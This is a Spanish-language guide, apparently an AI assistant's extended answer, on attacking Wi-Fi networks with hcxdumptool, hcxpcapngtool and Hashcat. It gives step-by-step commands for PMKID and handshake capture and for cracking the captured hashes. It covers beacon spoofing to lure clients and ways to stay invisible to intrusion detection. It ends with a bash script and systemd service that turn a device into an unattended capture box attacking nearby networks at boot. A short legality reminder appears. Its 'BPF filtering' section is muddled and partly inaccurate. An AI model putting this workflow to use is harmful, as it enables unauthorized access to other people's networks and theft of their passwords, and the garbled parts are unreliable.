Kali Linux: Guía de hcxtools
Kali Linux: Guía de hcxtools
Si estás trabajando en Kali Linux y te interesa la seguridad de redes Wi-Fi, hcxtools es un conjunto de herramientas esenciales. A diferencia de los métodos antiguos que dependían de capturar un "handshake" completo (que requiere que un usuario se conecte en ese momento), hcxtools se especializa en ataques modernos como el de PMKID.
Aquí tienes un resumen de qué es y cómo usarlo en español:
¿Qué es hcxtools?
Es un paquete de herramientas diseñadas para capturar datos de paquetes WLAN y convertirlos a formatos que programas como Hashcat puedan procesar para realizar ataques de fuerza bruta.
Herramientas principales del paquete:
hcxdumptool: La herramienta "estrella". Se usa para capturar tráfico y forzar la obtención de hashes (PMKID o Handshakes) de los puntos de acceso.
hcxpcapngtool: Sirve para convertir los archivos de captura (
.pcapng) al formato de hash que entiende Hashcat.
Flujo de trabajo básico (Ataque PMKID)
El ataque PMKID es genial porque no necesitas que haya clientes conectados a la red para obtener el hash.
1. Preparar la interfaz
Primero, pon tu tarjeta de red en modo monitor (asumiendo que es wlan0):
sudo airmon-ng start wlan0
2. Capturar datos con hcxdumptool
Este comando buscará puntos de acceso y guardará la información necesaria.
sudo hcxdumptool -i wlan0mon -o captura.pcapng --enable_status=1
Déjalo correr unos minutos. Si ves que aparece un mensaje de "PMKID retrieved", ¡ya lo tienes!
3. Convertir la captura para Hashcat
Ahora necesitas pasar ese archivo .pcapng a un formato que Hashcat pueda leer (formato 22000).
hcxpcapngtool -o hash_para_crackear.txt captura.pcapng
4. Crackear la contraseña
Finalmente, usas Hashcat con un diccionario (como rockyou.txt):
hashcat -m 22000 hash_para_crackear.txt rockyou.txt
Diferencias clave
| Herramienta | Uso Principal |
| Airodump-ng | Captura handshakes tradicionales (necesita clientes). |
| hcxdumptool | Captura PMKID (no necesita clientes) y es más automatizado. |
| hcxpcapngtool | El "traductor" moderno para las nuevas versiones de Hashcat. |
Notas de seguridad y ética
Recordatorio importante: Utiliza estas herramientas únicamente en redes de tu propiedad o con permiso explícito del dueño. El acceso no autorizado a redes es ilegal.
Si ya dominas lo básico, entrar en los parámetros avanzados de hcxdumptool es lo que separa a un usuario casual de un profesional de la auditoría. Esta herramienta es extremadamente potente porque interactúa directamente con el driver de la tarjeta de red, permitiendo inyecciones de paquetes muy específicas.
Aquí tienes los parámetros avanzados más útiles para optimizar tus capturas y evitar ser detectado o perder tiempo en objetivos irrelevantes.
1. Filtrado Selectivo (Targeting)
No siempre quieres atacar todo lo que se mueve. Puedes usar listas blancas (BPF) o filtros directos.
--filtermode=n: Define cómo se comporta el filtro.1: Modo lista blanca (solo ataca lo que esté en tu archivo).2: Modo lista negra (ignora lo que esté en tu archivo).
--filterlist=archivo.txt: El archivo con las direcciones MAC que quieres incluir o excluir.-c 1,6,11: Fija el escaneo solo en canales específicos para que la tarjeta no pierda tiempo saltando por todo el espectro.
2. Ataques Específicos y "Beacons"
hcxdumptool puede ser muy agresivo o muy sutil dependiendo de estos interruptores:
--enable_status=n: Activa una máscara de bits para ver qué está pasando en tiempo real.1: Información básica de EAPOL/PMKID.2: Información de paquetes de gestión (Probe Requests).4: Información de paquetes de datos.
--active_beacon: Esta es una de las funciones más potentes. Envía "Beacon Responses" para engañar a los clientes cercanos y hacer que intenten conectarse a ti, facilitando la obtención de handshakes.--give_up_threshold=n: Si un AP no responde después de n intentos, la herramienta lo ignora temporalmente. Ideal para no quedarse "atascado" en una red con señal débil.
3. Evasión y Protección del Hardware
Si realizas auditorías prolongadas, estos parámetros protegen tu equipo y tu anonimato:
--stop_on_error: Detiene todo si la interfaz de red falla. Útil para no generar logs basura si tu tarjeta se desconecta.--use_fixed_mac: Por defecto,hcxdumptoolcambia tu MAC aleatoriamente. Si necesitas usar la MAC real de tu tarjeta (o una específica para pasar un filtro), usa este comando.
4. El "Modo Bestia" (Ataque de Inyección Directa)
Si quieres forzar a los clientes a desconectarse para que vuelvan a autenticarse (y capturar el handshake de 4 vías):
--eapoltimeout=n: Ajusta cuánto tiempo espera la herramienta una respuesta EAPOL. En redes saturadas, subir este valor puede ayudar a capturar hashes que de otro modo se perderían.--infinite_pcap: Permite que el archivo de captura crezca sin límites, ideal para dejar la Raspberry Pi o laptop funcionando durante horas.
Ejemplo de comando avanzado "Full Audit"
Si quisieras hacer un ataque enfocado solo en el canal 6, filtrando una MAC específica y activando respuestas de Beacon activas, el comando se vería así:
sudo hcxdumptool -i wlan0mon -o auditoria_avanzada.pcapng -c 6 --filterlist=objetivo.txt --filtermode=1 --active_beacon --enable_status=7
Tabla de Formatos de Salida
Es vital recordar que hcxdumptool genera archivos .pcapng. Para usarlos en Hashcat, siempre debes pasar por el paso de conversión:
| Conversor | Formato Hashcat | Tipo de Red |
| hcxpcapngtool -o | 22000 | WPA/WPA2/WPA3 (PMKID & Handshake) |
| hcxpcapngtool -E | Wordlist | Extrae nombres de redes (SSIDs) para diccionarios |
Crear un filtro BPF (Berkeley Packet Filter) es la forma más avanzada y eficiente de decirle a hcxdumptool exactamente qué paquetes procesar y cuáles ignorar a nivel de kernel, lo que ahorra muchísimos recursos de CPU.
Aquí te explico cómo configurarlo para filtrar por fabricantes (OUI) o comportamientos específicos.
1. ¿Cómo funciona el filtrado BPF?
A diferencia de un archivo de texto plano con MACs, el filtro BPF es un código compilado que la tarjeta de red usa para "decidir" en microsegundos si un paquete le interesa o no.
Estructura de un filtro para OUI (Fabricante)
Si quieres ignorar o atacar solo a un fabricante específico (por ejemplo, routers Cisco, cuya MAC suele empezar por 00:17:94), usamos desplazamientos de bytes:
wlan addr1: Dirección de destino.wlan addr2: Dirección de origen (el AP).ether[0:3]: Los primeros 3 bytes de la dirección MAC (el identificador del fabricante).
2. Creando el archivo de filtro (.bpflist)
No escribes el código directamente en la línea de comandos, sino que creas un archivo de texto y hcxdumptool lo procesa.
Ejemplo: Ignorar todos los dispositivos de una marca
Si tienes una lista de MACs de dispositivos que NO quieres tocar (por ejemplo, tus propios equipos), creas un archivo llamado filtros.txt:
# Formato: MAC_ADDRESS_SIN_PUNTOS
001122334455
AABBCCDDEEFF
Y luego lo invocas con:
--filterlist=filtros.txt --filtermode=2 (Modo 2 = Blacklist/Lista Negra).
3. Filtrado por "Protos" (Avanzado)
Puedes configurar hcxdumptool para que solo capture paquetes de autenticación, ignorando todo el tráfico de datos (YouTube, Netflix, etc.) que solo llena tu disco duro de basura.
Para esto, se suelen usar las opciones internas de la herramienta que actúan como filtros BPF preconfigurados:
--disable_deauthentication: Evita enviar paquetes de deautenticación. Útil si quieres una auditoría "silenciosa" (solo escucha).--disable_probing: Evita que tu tarjeta envíe "Probe Requests". Esto hace que seas invisible para los sistemas de detección de intrusos (IDS) que buscan escaneos activos.
4. Combinando todo en un escenario real
Imagina que quieres auditar una red, pero quieres ser invisible, no quieres atacar a los clientes de Apple (para evitar problemas de desconexión en iPhones) y solo te interesa el canal 1.
Crea tu lista de exclusión (MACs de Apple que conozcas).
Ejecuta el comando profesional:
sudo hcxdumptool -i wlan0mon -o captura_profesional.pcapng \
-c 1 \
--filterlist=apple_devices.txt --filtermode=2 \
--disable_deauthentication \
--disable_probing \
--enable_status=1
Tip de experto: Verificación de captura
Antes de irte a casa y dejar la herramienta corriendo, verifica que estás recibiendo tráfico útil con:
hcxpcapngtool -i captura.pcapng
Este comando (sin el -o) te dará un resumen estadístico de cuántos PMKIDs y EAPOL handshakes llevas acumulados en tiempo real.
Automatizar hcxdumptool en un script de Bash es la mejor forma de convertir una Raspberry Pi o una laptop en una "caja de auditoría" automática. Con esto, solo tendrás que encender el equipo y él se encargará de poner la tarjeta en modo monitor, escanear y guardar los hashes.
Aquí tienes un script robusto y profesional que puedes adaptar:
Script: auto_audit.sh
Este script realiza tres funciones críticas: limpia procesos que interfieren, activa el modo monitor y lanza el ataque con filtros.
#!/bin/bash
# Configuración
INTERFACE="wlan0" # Cambia esto por tu interfaz (wlan0, wlp2s0, etc.)
MON_INTERFACE="${INTERFACE}mon"
OUTPUT_DIR="$HOME/capturas_wifi"
LOG_FILE="$OUTPUT_DIR/audit_log.txt"
DATE=$(date +"%Y%m%d_%H%M")
# 1. Crear directorio de salida si no existe
mkdir -p "$OUTPUT_DIR"
echo "[+] Iniciando proceso de auditoría automática: $DATE" | tee -a "$LOG_FILE"
# 2. Matar procesos que bloquean la tarjeta (WPA Supplicant, NetworkManager)
echo "[+] Limpiando procesos de red conflictivos..."
sudo airmon-ng check kill
# 3. Iniciar modo monitor
echo "[+] Activando modo monitor en $INTERFACE..."
sudo airmon-ng start "$INTERFACE"
# 4. Lanzar hcxdumptool con parámetros optimizados
# -c 1,6,11 : Solo canales principales de 2.4GHz
# --enable_status=1 : Muestra PMKIDs encontrados
echo "[+] Ejecutando hcxdumptool... Presiona CTRL+C para detener."
sudo hcxdumptool -i "$MON_INTERFACE" \
-o "$OUTPUT_DIR/capture_$DATE.pcapng" \
-c 1,6,11 \
--enable_status=1 \
--active_beacon \
--give_up_threshold=10
# 5. Al detener (CTRL+C), intentar una conversión rápida para ver estadísticas
echo -e "\n[+] Auditoría finalizada. Resumen de captura:"
hcxpcapngtool -i "$OUTPUT_DIR/capture_$DATE.pcapng"
Cómo configurarlo para que inicie al encender (Systemd)
Si quieres que esto sea 100% automático al arrancar Kali Linux (ideal para dispositivos "headless" sin pantalla):
Dale permisos de ejecución:
chmod +x auto_audit.shCrea un servicio de Systemd:
Ejecuta
sudo nano /etc/systemd/system/wifi-audit.servicey pega esto:Ini, TOML[Unit] Description=Servicio de Auditoria Wi-Fi Automatica After=network.target [Service] Type=simple ExecStart=/ruta/a/tu/script/auto_audit.sh User=root [Install] WantedBy=multi-user.targetHabilita el servicio:
Bashsudo systemctl enable wifi-audit.service sudo systemctl start wifi-audit.service
Visualización de la Estructura de Datos
Cuando el script termina, habrás generado un archivo .pcapng. Es importante entender que este archivo es un "contenedor" que guarda varios tipos de datos que luego extraerás.
¿Qué hacer después de la captura?
Una vez que tengas tu archivo capture_2026xxxx.pcapng, el siguiente paso lógico es la extracción masiva:
# Extraer todos los hashes encontrados a formato Hashcat (22000)
hcxpcapngtool -o hashes_finales.txt capture_*.pcapng
# Extraer solo los nombres de red (SSIDs) para crear un diccionario personalizado
hcxpcapngtool -E lista_ssids.txt capture_*.pcapng
Un último consejo de experto:
Si notas que tu tarjeta de red se calienta o se desconecta, añade el parámetro --stop_on_error al script. Esto evitará que el script intente inyectar paquetes si el hardware ha fallado, protegiendo la integridad de tu tarjeta.